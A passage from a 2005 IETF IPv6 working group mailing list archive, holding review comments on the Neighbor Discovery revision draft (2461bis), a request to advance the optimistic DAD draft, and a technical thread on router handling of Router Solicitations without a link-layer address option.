X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 00134749b78ab2213964fc53d03de937 Content-Transfer-Encoding: quoted-printable Sigh of agony :/ I guess we both sent emails at the same time.=20 Obviously these comments on the eve of the deadline won't make it. I'm sure you have some good comments too :). I'll go through them and let you know how they'll be handled. Obviously others can chime in as well. Thanks, Hesham > -----Original Message----- > From: jinmei@isl.rdc.toshiba.co.jp=20 > [mailto:jinmei@isl.rdc.toshiba.co.jp] > Sent: Sunday, February 20, 2005 9:57 PM > To: Soliman, Hesham > Cc: ipv6@ietf.org > Subject: comments on draft-ietf-ipv6-2461bis-01.txt >=20 >=20 > Hi, >=20 > I'm really sorry for not doing this earlier, but I've finally gone > through this one. >=20 > I basically do not have significant problems in this document, but > still have some non-trivial comments which would require another > revision (but I'm afraid you cannot address all of them before the > looming cutoff...once again, sorry for the very delayed comments). >=20 > I must also confess there may be duplicate comments (with ones that > others already pointed out). I quickly re-checked the past comments > on the ML, but I won't surprise if I miss something. I'd=20 > apologize in > advance for any duplicates. >=20 > JINMEI, Tatuya > Communication Platform Lab. > Corporate R&D Center,=20 > Toshiba Corp. > jinmei@isl.rdc.toshiba.co.jp >=20 > Non-editorial comments >=20 > 1. (throughout the document) >=20 > There is a mixture of > - how IPv6 operates over different link layers > and > - how IP operates over different link layers > even though there does not seem to be ambiguity of what "IP" means. > I guess we can simply use "how IP"...for all the cases. >=20 > 2. (general) >=20 > This document hardcodes a constant of "1280" as the minimum link MTU > in some places, but shouldn't we be more flexible and simply refer to > RFC2460? >=20 > 3. Section 2.2. (Link Types) > Note that all link types (including NBMA) are > expected to provide multicast service=20 > for IP (e.g., > using multicast servers), but it is an issue for > further study whether ND should use such=20 > facilities > or an alternate mechanism that provides the > equivalent ND services. >=20 > I cannot parse this sentence, especially the very last part of it. > Does this mean something like this? >=20 > it is an issue for > further study whether ND should use such=20 > facilities > or an alternate mechanism that provides the > equivalent ND services should be used. >=20 > 4. Section 2.3. (Addresses) >=20 > Note that this specification does not strictly comply with the > consistency requirements for the scopes of source and destination > addresses. It is possible in some cases for hosts to use a source > address of a larger scope than the destination address in the IPv6 > header. >=20 > what's the "consistency requirements"? What ever they are, should we > bother to mention this in the first place? >=20 > 5. Section 4.2. (Router Advertisement Message Format) >=20 > Reserved A 6-bit unused field. It MUST be initialized to > zero by the sender and MUST be ignored by the > receiver. >=20 > I'm wondering whether we can be more flexible here, since we've > already had several proposals that use the "Reserved" field. I know > our consensus is that rfc2461bis itself does not included those > extensions, but I think it is less-confusing to note that=20 > the Reserved > field may be used in future extensions. >=20 >=20 > 6. Section 4.6.2. (Prefix Information) >=20 > Prefix Length 8-bit unsigned integer. [... > ...]. The prefix length field provides > necessary information for on-link determination > (when combined with other flags in the prefix > option). [...] >=20 > what are the "other flags"? If you mean the on-link (L)=20 > flag, I think > we should explicitly say so. >=20 > 7. Section 4.6.2. (Prefix Information) >=20 > A 1-bit autonomous address-configuration=20 > flag. When > set indicates that this prefix can be used for > autonomous address configuration as specified in > [ADDRCONF]. >=20 > =3D> in this context, I guess it is better to use "stateless address > autoconfiguration" instead of "autonomous address configuration". > (not a strong opinion, though) >=20 > 8. Section 4.6.2. (Prefix Information) >=20 > Prefix An IP address or a prefix of an IP address. The > Prefix Length field contains the number of valid > leading bits in the prefix. [... > ...] A router SHOULD NOT send a prefix > option for the link-local prefix and a=20 > host SHOULD > ignore such a prefix option. >=20 > =3D> I don't see why we cannot use 'MUST (NOT)' here. Is there any > scenario where it makes sense for a router to include the link-local > prefix in the prefix information option? (Perhaps it's too late to > make this comment, and I'm personally fine is the current wording). >=20 > 9. Section 6.2.3. (Router Advertisement Message Content) >=20 > - In the M and O flags: the interface's configured=20 > AdvManagedFlag > and AdvOtherConfigFlag, respectively. See [ADDRCONF]. >=20 > I've already pointed out that this part is not fully=20 > synchronized with > the latest consensus on [ADDRCONF], but I'd like to repeat that here > to make it sure. In particular, we cannot refer to [ADDRCONF] here, > since it does not mention these flags any more. Also, if we=20 > can refer > to [ADDRCONF] as an informative reference (which I agree with), I > believe we should also refer to draft-ietf-ipv6-ra-mo-flags-00.txt as > an informative reference. (Basically, we should rather refer to the > ra-mo-flags document when we talk about M/O, AdvManagedFlag, or > AdvOtherConfigFlag). >=20 > 10. Section 6.3.4. (Processing Received Router Advertisements) >=20 > [...] Moreover, information > may also be obtained through other dynamic means, such as stateful > autoconfiguration. >=20 > I believe we basically agreed (particularly in 2462bis and the recent > M/O flag work) that "stateful configuration" is somewhat=20 > confusing and > we should just say DHCPv6 wherever possible. I think the general > agreement applies here (and, in fact, I don't think using "stateful > autoconfiguration" here is appropriate, since the "information" in > this context can also be provided by the "stateless" subset of > DHCPv6.) >=20 > 11. Section 6.3.4. (Processing Received Router Advertisements) >=20 > Stateless address autoconfiguration [ADDRCONF] may in some > circumstances increase the Valid Lifetime of a prefix or ignore it > completely in order to prevent a particular denial of=20 > service attack. >=20 > "the Valid Lifetime of a prefix" is not really correct in the context > of [ADDRCONF]; the lifetime is associated with addresses, not > prefixes. And [ADDRCONF] does not directly manipulate prefix > lifetimes. So, I think it's better to say, e.g.: >=20 > Stateless address autoconfiguration [ADDRCONF] may in some > circumstances use a larger Valid Lifetime of a prefix or=20 > ignore the > Valid Lifetime completely in order to prevent a particular denial > of service attack. >=20 > 12. Section 7.2.5. (Receipt of Neighbor Advertisements) >=20 > If the target's Neighbor Cache entry is in the INCOMPLETE=20 > state when > the advertisement is received, one of two things happens. >=20 > I don't understand this sentence; what exactly does "one of two > things" specify? It's not clear from the succeeding part. >=20 > 13. Section 11.1 (Threat analysis) >=20 > Whereas the third paragraph begins with >=20 > An example of denial of service attacks is that [...] , >=20 > this paragraph also talks about other types of threats, e.g., >=20 > [...] That router can then > selectively examine, modify or drop all packets sent on the link. >=20 > where packet modification can also lead to other types of attacks. I > believe this paragraph needs to be more accurate. >=20 > 14. Section 11.1 (Threat analysis) >=20 > [...] It is natural to trust the routers > on the link. >=20 > I'm afraid we cannot justify this statement once we refer to [PSREQ]. >=20 > 15. Section 11.1 (Threat analysis) >=20 > 2461bis-02 has removed the following part of RFC2461: >=20 > Received Authentication Headers in Neighbor Discovery=20 > packets MUST be > verified for correctness and packets with incorrect authentication > MUST be ignored. >=20 > It SHOULD be possible for the system administrator to configure a > node to ignore any Neighbor Discovery messages that are not > authenticated using either the Authentication Header or=20 > Encapsulating > Security Payload. The configuration technique for this MUST be > documented. Such a switch SHOULD default to allowing=20 > unauthenticated > messages. >=20 > But I believe these requirements are still valid and should be > included *when we use IPsec* for ND, even if we note the=20 > limitation of > the use of IPsec to secure ND. >=20 > 16. APPENDIX A (MULTIHOMED HOSTS) >=20 > Some of the issued in this appendix are discussed in the "default > router preference" draft. I believe we should refer to this document > (IMO, it can be an informative reference). >=20 > 17. APPENDIX A (MULTIHOMED HOSTS) >=20 > [...] Under > similar conditions in the non-multihomed host case, a node > treats all destinations as residing on-link, and=20 > communication > proceeds. [...] >=20 > This is the so-called "on-link" assumption, which was removed in > rfc2461bis. Note that we cannot simply remove this=20 > sentence, since it > would also affect the succeeding sentence. >=20 > 18. APPENDIX C (STATE MACHINE FOR THE REACHABILITY STATE) >=20 > I don't really remember the past discussions, but isn't there an > inconsistency between this table and the specification described in > the document body? >=20 >=20 > = =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > Pure editorial comments >=20 > 18. (all the per-page headers:) > INTERNET-DRAFT Neighbor Discovery in IPv6 =20 > June, 2004 >=20 > =3D> s/June/October/ :-) > (perhaps the problem will automatically be gone in the next rev.) >=20 > 19. Table of Contents >=20 > Full Copyright Statement.................Error! Bookmark=20 > not defined. >=20 > =3D> seems to be a compilation error or something with your tool to > generate an I-D. >=20 >=20 > 20. Section 4.4. (Neighbor Advertisement Message Format) >=20 > layer address; otherwise it would not=20 > have be able > to send the unicast solicitation in the first >=20 > =3D> s/have be able/have to be able/ >=20 > 21. Section 7.2.3. (Receipt of Neighbor Solicitations) >=20 > A valid Neighbor Solicitation that does not meet any the following > requirements MUST be silently discarded: >=20 > =3D> s/any the following/any of the following/ (?) >=20 > 22. Section 7.3.1. (Reachability Confirmation) >=20 > [...] Receipt > of unsolicited messages only confirm the one-way path=20 > from the sender > to the recipient node. [...] >=20 > s/confirm/confirms/ >=20 > 23. Section 8.2. (Router Specification) >=20 > - the Destination Address of the packet is not a multicast > address, and >=20 > It seems to me that ", and" is just redundant. >=20 > 24. Section 11.1 (Threat analysis) >=20 > - DoS attacks >=20 > I believe this should be >=20 > - Denial of Service attacks > or > - Denial of Service (DoS) attacks >=20 > (it's slightly odd to see the acronym first and then its=20 > expanded form > in a succeeding sentence) >=20 > 25. Section 11.1 >=20 > - Router spoofing attacks. >=20 > It's strange to see a "period" only in this bullet. >=20 > 26. Section 11.1 >=20 > [...] The > Neighbor Unreachability Detection will not detect such a=20 > black hole > as long as the rogue router politely answers the NUD probes with a > Neighbor Advertisement with the R-bit set. >=20 > I would clarify what "NUD" stands for (although one may think this is > pretty obvious). e.g., >=20 > Neighbor Unreachability Detection (NUD) will not ... >=20 > (Note that this is the only occurrence of the acronym "NUD") >=20 > 27. Section 11.1 >=20 > victim's traffic to itself. > The trust model for redirects is the same as in IPv4. [...] >=20 > It seems to me that we need a blank line between these two sentences. >=20 > 28. Section 12. (RENUMBERING CONSIDERATIONS) >=20 > valid since the last lifetime they received was 2 months.=20 > Thus if a >=20 > node was unplugged on July 31st it thinks the prefix is=20 > valid until >=20 > =3D> there seems to be a redundant blank line. >=20 >=20 > 29. REFERENCES (informative) >=20 > [ADDRCONF] Thomson, S. Narten, T, and T. Jinmei, "IPv6 Address > Autoconfiguration",=20 > draft-ietf-ipv6-rfc2462bis-02, June >=20 > The latest version of this document is 07. (02 was too old even when > 2461bis-01 was submitted:-) >=20 > 30. APPENDIX A (MULTIHOMED HOSTS) >=20 > [...] Should the assumption be FALSE, > communication would fail. >=20 > I don't understand why "FALSE" is all-capitalized in this context. I > think we can simply use "false" here. >=20 > Appendix E.1: Reachability confirmations >=20 > [...] In merely indicates that 30 minutes > ago the window update reached the peer i.e. the path was=20 > working at >=20 > s/In merely indicates/It merely indicates/ >=20 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D This email may contain confidential and privileged material for the sole = use of the intended recipient. Any review or distribution by others is = strictly prohibited. If you are not the intended recipient please contact the = sender and delete all copies. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Mon Feb 21 16:40:57 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA18065 for ; Mon, 21 Feb 2005 16:40:57 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D3Leu-0005kS-EG for ipv6-web-archive@ietf.org; Mon, 21 Feb 2005 17:04:05 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3Jno-00064B-9y; Mon, 21 Feb 2005 15:05:08 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3I6Q-0000CR-Er for ipv6@megatron.ietf.org; Mon, 21 Feb 2005 13:16:15 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA27417; Mon, 21 Feb 2005 13:16:06 -0500 (EST) Received: from piper.jhuapl.edu ([128.244.26.33] helo=jhuapl.edu) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D3ISe-0000Y3-NP; Mon, 21 Feb 2005 13:39:13 -0500 Received: from ([128.244.124.185]) by piper.jhuapl.edu with ESMTP id KP-BXZ33.8748786; Mon, 21 Feb 2005 13:15:06 -0500 Mime-Version: 1.0 (Apple Message framework v619.2) To: IESG Secretary , Margaret Wasserman , Thomas Narten Message-Id: <65573d31886ae8b58a59cadb7091b20d@innovationslab.net> From: Brian Haberman Date: Mon, 21 Feb 2005 13:15:08 -0500 X-Mailer: Apple Mail (2.619.2) X-esp: ESP<8>=RBL:<0> RDNS:<0> SHA:<8> UHA:<0> SLS:<0> BAYES:<0> SPF:<0> HTML Dictionary (TRU6):<0> NigeriaScam Dictionary (TRU6):<0> URL Dictionary (TRU6):<0> Phishing:<0> Spam Dictionary (TRU6):<0> CAN-SPAM Compliance Dictionary (TRU6):<0> Obscenities Dictionary (TRU6):<0> Embed HTML Dictionary (TRU6):<0> Porn Dictionary (TRU6):<0> X-Spam-Score: 0.0 (/) X-Scan-Signature: d8ae4fd88fcaf47c1a71c804d04f413d Cc: Bob Hinden , IPv6 Mailing List Subject: Request to Advance:draft-ietf-ipv6-optimistic-dad-05.txt X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============1342194465==" Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 8de5f93cb2b4e3bee75302e9eacc33db --===============1342194465== Content-Type: multipart/signed; micalg=sha1; boundary=Apple-Mail-4--293994067; protocol="application/pkcs7-signature" --Apple-Mail-4--293994067 Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit Margaret & Thomas, On behalf of the IPv6 WG, the chairs request the advancement of Title : Optimistic Duplicate Address Detection for IPv6 Author(s) : N. Moore Filename : draft-ietf-ipv6-optimistic-dad-05.txt Pages : 17 Date : 2005-2-14 as a Proposed Standard. This document reflects the consensus of the IPv6 WG. The Last Call completed on January 20, 2005. This version addresses all issues raised. Regards, Bob & Brian IPv6 WG co-chairs --Apple-Mail-4--293994067 Content-Type: application/pkcs7-signature; name=smime.p7s Content-Disposition: attachment; filename=smime.p7s Content-Transfer-Encoding: base64 MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIGJDCCAt0w ggJGoAMCAQICAwz21DANBgkqhkiG9w0BAQQFADBiMQswCQYDVQQGEwJaQTElMCMGA1UEChMcVGhh d3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVt YWlsIElzc3VpbmcgQ0EwHhcNMDQwOTAxMTcxOTM4WhcNMDUwOTAxMTcxOTM4WjBKMR8wHQYDVQQD ExZUaGF3dGUgRnJlZW1haWwgTWVtYmVyMScwJQYJKoZIhvcNAQkBFhhicmlhbkBpbm5vdmF0aW9u c2xhYi5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDRogfqvQwSubSspmgfho1w Br2IRBf5DI+pvLyiFcMM7KTRomseAAznLq+OjixIzT08u0opCIB91C2fohXwqf05+NVmd3/IIrOh gQoQeFrwZdRwkmA1p6/+ivWwwyiIBBVjyIx5cdULoGi3Nl0hanW99zEHWMR7cr9YRfkhrYwyrLwF 2dUlanpDcoC+PJfimFv7Sp5Ymut3GMuvc4hrzmUBs3GhZVUbxrknxBb9C0ApLa++79wQtcrzK7Nr HkGl63vTkfCaR2HqPE53GT1NvPSQyRUMbVBmx5xzuHUlQAY/fMDOLv45qFa9Xb8XfP1Xb+chYzHX xPx4pqVTzZUnfi3RAgMBAAGjNTAzMCMGA1UdEQQcMBqBGGJyaWFuQGlubm92YXRpb25zbGFiLm5l dDAMBgNVHRMBAf8EAjAAMA0GCSqGSIb3DQEBBAUAA4GBABHGCDHcruXemZ3lBjGb0E+TXfwILkNu UykBjSlywXfghEVSEO/cZ/0tMjrqIn1GF3GZeKecvx/aIFawl2pSUejjnLUrEE6Ro5AQs5kyZI3b ma3GPa+TMEOeXBr8Wp+HwkMAk+McfRfGNGTDIBwF+8LnQmMCPlvTYEfuUZ93AAxCMIIDPzCCAqig AwIBAgIBDTANBgkqhkiG9w0BAQUFADCB0TELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdlc3Rlcm4g Q2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMRowGAYDVQQKExFUaGF3dGUgQ29uc3VsdGluZzEoMCYG A1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjEkMCIGA1UEAxMbVGhhd3RlIFBl cnNvbmFsIEZyZWVtYWlsIENBMSswKQYJKoZIhvcNAQkBFhxwZXJzb25hbC1mcmVlbWFpbEB0aGF3 dGUuY29tMB4XDTAzMDcxNzAwMDAwMFoXDTEzMDcxNjIzNTk1OVowYjELMAkGA1UEBhMCWkExJTAj BgNVBAoTHFRoYXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNVBAMTI1RoYXd0ZSBQZXJz b25hbCBGcmVlbWFpbCBJc3N1aW5nIENBMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDEpjxV c1X7TrnKmVoeaMB1BHCd3+n/ox7svc31W/Iadr1/DDph8r9RzgHU5VAKMNcCY1osiRVwjt3J8CuF Wqo/cVbLrzwLB+fxH5E2JCoTzyvV84J3PQO+K/67GD4Hv0CAAmTXp6a7n2XRxSpUhQ9IBH+nttE8 YQRAHmQZcmC3+wIDAQABo4GUMIGRMBIGA1UdEwEB/wQIMAYBAf8CAQAwQwYDVR0fBDwwOjA4oDag NIYyaHR0cDovL2NybC50aGF3dGUuY29tL1RoYXd0ZVBlcnNvbmFsRnJlZW1haWxDQS5jcmwwCwYD VR0PBAQDAgEGMCkGA1UdEQQiMCCkHjAcMRowGAYDVQQDExFQcml2YXRlTGFiZWwyLTEzODANBgkq hkiG9w0BAQUFAAOBgQBIjNFQg+oLLswNo2asZw9/r6y+whehQ5aUnX9MIbj4Nh+qLZ82L8D0HFAg k3A8/a3hYWLD2ToZfoSxmRsAxRoLgnSeJVCUYsfbJ3FXJY3dqZw5jowgT2Vfldr394fWxghOrvbq NOUQGls1TXfjViF4gtwhGTXeJLHTHUb/XV9lTzGCAucwggLjAgEBMGkwYjELMAkGA1UEBhMCWkEx JTAjBgNVBAoTHFRoYXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNVBAMTI1RoYXd0ZSBQ ZXJzb25hbCBGcmVlbWFpbCBJc3N1aW5nIENBAgMM9tQwCQYFKw4DAhoFAKCCAVMwGAYJKoZIhvcN AQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMDUwMjIxMTgxNTA4WjAjBgkqhkiG9w0B CQQxFgQUzVF7G+7OLgFdeHfnOUExLtypuT4weAYJKwYBBAGCNxAEMWswaTBiMQswCQYDVQQGEwJa QTElMCMGA1UEChMcVGhhd3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3Rl IFBlcnNvbmFsIEZyZWVtYWlsIElzc3VpbmcgQ0ECAwz21DB6BgsqhkiG9w0BCRACCzFroGkwYjEL MAkGA1UEBhMCWkExJTAjBgNVBAoTHFRoYXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNV BAMTI1RoYXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBJc3N1aW5nIENBAgMM9tQwDQYJKoZIhvcNAQEB BQAEggEAWZGpu0nlhTLZFUeJ9z8ul9oQ3QpUVXCpn1qSb1PtjGngdfguIq3VmFGYCcFrzpFsRX7M 2hB0ROxIMqpCWhBaHL9XoP/5QnxdbFdL2XNDU1pKaqr87sz8CpdnlxdGSBr/qfqxT0NtZl+d4KhO a1lUQSPrGVFuaOMb+g4Tn19PaM4WEnjZKxZDZn7EtZuJoBzkvaWIB75fpxfnqwO2Xk+EE5HE17Jf azXMYrEwe8hNVSe+zU/LAnfu9PihQq9xqyJDto+gQw33uqKwL/kj8Jn+iAMSIIXEPFdgpCaf+a4C TESGDEXMWlobTZNDyQpn6cY4eHCllWNnOZe/FP8d9yNmcwAAAAAAAA== --Apple-Mail-4--293994067-- --===============1342194465== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- --===============1342194465==-- From ipv6-bounces@ietf.org Mon Feb 21 17:42:27 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA23771 for ; Mon, 21 Feb 2005 17:42:27 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D3McS-0007KC-7E for ipv6-web-archive@ietf.org; Mon, 21 Feb 2005 18:05:36 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3Jyl-0007fn-Dl; Mon, 21 Feb 2005 15:16:27 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3Itl-0006pk-6l for ipv6@megatron.ietf.org; Mon, 21 Feb 2005 14:07:13 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA01890 for ; Mon, 21 Feb 2005 14:07:07 -0500 (EST) Received: from iramx2.ira.uni-karlsruhe.de ([141.3.10.81] ident=[U2FsdGVkX1/ZmC8RBIcY1h5mngvW6pq78BoUqMtswCI=]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D3JG0-0001q6-26 for ipv6@ietf.org; Mon, 21 Feb 2005 14:30:12 -0500 Received: from irams1.ira.uni-karlsruhe.de ([141.3.10.5] helo=irams1.ira.uka.de) by iramx2.ira.uni-karlsruhe.de with esmtps (Exim 4.43 #1) id 1D3ItP-0005vw-NL; Mon, 21 Feb 2005 20:06:56 +0100 Received: from i72archimedes.tm.uni-karlsruhe.de ([141.3.71.83]) by irams1.ira.uka.de with esmtp (Exim 3.30 #7 ) id 1D3ItK-0001ON-00; Mon, 21 Feb 2005 20:06:46 +0100 Message-ID: <421A3145.3020709@tm.uka.de> Date: Mon, 21 Feb 2005 20:06:45 +0100 From: Christian Vogt User-Agent: Mozilla Thunderbird 1.0 (X11/20041206) X-Accept-Language: de-DE, de, en-us, en MIME-Version: 1.0 To: "Soliman, Hesham" References: In-Reply-To: X-Enigmail-Version: 0.90.0.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: -14.9 (--------------) X-Spam-Status: No X-Spam-Score: 0.0 (/) X-Scan-Signature: dd887a8966a4c4c217a52303814d0b5f Content-Transfer-Encoding: 7bit Cc: Mark Doll , Roland Bless , ipv6@ietf.org, greg.daley@eng.monash.edu.au Subject: Re: RFC 2461[bis]: RS with srcaddr but w/o SLLAO X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: bd8a74b81c71f965ca7918b90d1c49c0 Content-Transfer-Encoding: 7bit Hi Hesham, hope this is not too late. Not sure but the text may suggest to create NC state even if the RS did not contain a SLLAO. In this case, it's actually not necessary to create NC state, especially if the router chooses to respond with a multicast RA. If you agree, you could change the text from this... > [...] If there is no existing Neighbor Cache entry > for the solicitation's sender, the router creates one, installs the > link- layer address and sets its reachability state to STALE as > specified in Section 7.3.3. If there is no existing Neighbor Cache > entry and no Source Link-Layer Address option was present in the > solicitation, [...] ...to this... > [...] If there is no existing Neighbor Cache entry > for the solicitation's sender and a Source Link-Layer Address option > was present in the solicitation, the router creates a new Neighbor > Cache entry, installs the link-layer address and sets its reachability > state to STALE as specified in Section 7.3.3. If there is no existing > Neighbor Cache entry and no Source Link-Layer Address option was > present in the solicitation, the router does either one of the > following: > > - It performs address resolution on the solicitation's sender, creates > a new Neighbor Cache entry, installs the link-layer address, sets its > reachability state to STALE as specified in Section 7.3.3, and > responds with a unicast Router Advertisement directed to the > solicitation's sender. > > - It responds with a multicast Router Advertisement. > > Whether or not a Source Link-Layer Address option is provided in the > solicitation, [...] The rest is perfect, IMO. Oh, just a nit: s/link- layer/link-layer/. - Christian -- Christian Vogt, Institute of Telematics, University of Karlsruhe www.tm.uka.de/~chvogt/pubkey/ Soliman, Hesham wrote: > The text now looks like this: > > Router Solicitations in which the Source Address is the unspecified > address MUST NOT update the router's Neighbor Cache; solicitations > with a proper source address update the Neighbor Cache as follows. If > the router already has a Neighbor Cache entry for the solicitation's > sender, the solicitation contains a Source Link-Layer Address > option, and the received link-layer address differs from that already > in the cache, the link-layer address SHOULD be updated in the > appropriate Neighbor Cache entry, and its reachability state MUST > also be set to STALE. If there is no existing Neighbor Cache entry > for the solicitation's sender, the router creates one, installs the > link- layer address and sets its reachability state to STALE as > specified in Section 7.3.3. If there is no existing Neighbor Cache > entry and no Source Link-Layer Address option was present in the > solicitation, the router may respond with either a unicast or a > multicast router advertisement. Whether or not a Source Link-Layer > Address option is provided, if a Neighbor Cache entry for the > solicitation's sender exists (or is created) the entry's IsRouter > flag MUST be set to FALSE. > > > I hope this is clear, if not let me know ASAP because I'm submitting > the draft soon before the deadline. > > Hesham > > >> -----Original Message----- From: Greg Daley >> [mailto:greg.daley@eng.monash.edu.au] Sent: Sunday, February 20, >> 2005 6:13 PM To: Christian Vogt Cc: Soliman, Hesham; ipv6@ietf.org; >> Mark Doll; Roland Bless Subject: Re: RFC 2461[bis]: RS with srcaddr >> but w/o SLLAO >> >> >> Hi Christian and Hesham, >> >> I think people are asymptoting to the same point. >> >> Are we supposed to be suggesting text though? >> >> Christian Vogt wrote: >>> Hi Hesham. >>> >>>> [...] >>> >>>>> I guess this is why FreeBSD introduces a new state, >> NOSTATE. It does >>>>> not do immediate address resolution on an entry in >> this state. It >>>>> doesn't need to, because Rtadvd (on FreeBSD) sends >> multicast > >>>> RA's in all >>>>> cases except for ISATAP interfaces. >>>> => Right, I was trying to accomodate other ways of >> implementing Rtadvd >>>> that would send unicast RAs in response to the RS in question. >>>> For example in the case where no LLA exists in the technology >>>> used. In this case it would be wasteful to multicast the RA. >>>> This >> is especially >>>> true in a mobile system where you might get several RSs due to >>>> MNs appearing on the link. >>> >>> >>> I agree. >>> >>>> [...] => So, from the above, I assume you suggest that we >>>> always send a multicast RA in response? I don't know if this is >>>> a good way to go given the example I mentioned above. What do >>>> you think? >>> >>> >>> No, I don't think that a RA should always be muticasted. >> It certainly >>> makes sense in many situations to unicast a RA. I get >> back to this in >>> my last comment. >>> >>>>> If an RS contains a TSLLAO [1], the router does not have to >>>>> > >>>> immediately >>>>> initiate address resolution (i.e., be conservative), >> but can > >>>> still send >>>>> a unicast RA. >>>> >>>> => I think the TSLLAO draft is useful in this case, but >> we obviously >>>> still need to address this case for legacy hosts that >> don't implement >>>> TSLLAO. >>> >>> >>> Ok. >>> >>>>>> Soliman, Hesham wrote: >>>>>>> [...] If an entry already exists >>>>>>> with a LLA then it responds with a (two options): >>>>>>>>>> - unicast RA unless a multicast RA was >> already scheduled. >>>>>>>>>> - A multicast RA. I think the second option might >>>>>>>>>> be better to >> allow for > >>>> ODAD to work. >>>>>> Hesham, why would a multicast RA be required for >> ODAD? An > >>>> optimistic > node can always send a RS from the >> unspecified source > >>>> address to have > the router multicast the RA. >>>> >>>> => That's true, I didn't consider this case. It's been a long >>>> time since I last read ODAD and I don't know if it allows >> the Onode to >>>> send RSs with a tentative src address or if it requires the >>>> unspecified address. I guess it should just use the unspecified >>>> address while the unicast one is tentative. >>> >>> >>> An optimistic node may use a tentative source address in a >> RS. But if >>> it does, it must not include the SLLAO. This prevents the >> router from >>> overwriting a possibly existing NC entry for the tentative >> address's >>> real owner. >>> >>> For the same reason, the optimistic node cannot use a >> SLLAO in a NS sent >>> from a tentative source address. But since a NS does not >> make a lot of >>> sense without a 